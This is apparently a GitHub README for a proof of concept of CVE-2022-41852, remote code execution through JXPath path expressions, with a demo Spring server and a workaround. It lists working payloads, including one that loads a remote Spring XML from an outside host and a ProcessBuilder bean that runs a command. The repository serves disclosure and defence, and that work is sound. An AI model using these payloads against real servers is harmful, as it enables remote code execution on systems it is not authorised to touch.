src/main | Loading last commit info... | |
.gitignore | ||
README.md | ||
pom.xml |
Remote Code Execution in JXPath Library (CVE-2022-41852) Proof of Concept
CVE-2022-41852 allows attackers to execute code on the application server.
You can read more about this vulnerability here:
Note: I am not an author of this CVE. I have only created this proof of concept.
Useful Links
Vulnerability Description
JXPath library has support for running functions in XPath expressions (see Official User Guide).
For example, methods JXPathContext.getValue(path)
and JXPathContext.iterate(path)
are dangerous
if you let user send input into the path parameter.
PoC Description
This PoC starts simple Spring server with two endpoints:
/vulnerable-example?path=[path]
/secure-example?path=[path]
These endpoints have only one query parameter "path".
Possible Request URLs
Following requests will work fine (will not cause any problems):
- http://localhost:8080/secure-example?path=name
- http://localhost:8080/secure-example?path=website
- http://localhost:8080/secure-example?path=/
- http://localhost:8080/vulnerable-example?path=name
- http://localhost:8080/vulnerable-example?path=website
- http://localhost:8080/vulnerable-example?path=/
Following requests will cause code to be executed:
- http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
- http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)
Example Payloads
Example payloads to detect CVE-2022-41852:
java.lang.System.exit(42)
java.lang.Thread.sleep(10000)
/|java.lang.System.exit(42)
|java.lang.System.exit(42)
There might be various ways to execute commands. One of them is using Spring's ClassPathXmlApplicationContext:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")
In the XML file, you can define bean configuration, for example, you can create instance of ProcessBuilder
and run specified command on the server by initializing the bean using start()
method.
In the following example, calculator will be opened on Windows machine:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
Workaround for CVE-2022-41852
It is possible to disable functions in JXPathContext by setting functions field to empty FunctionLibrary
.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
Note: It will disable all functions, so even functions like size()
will not be available.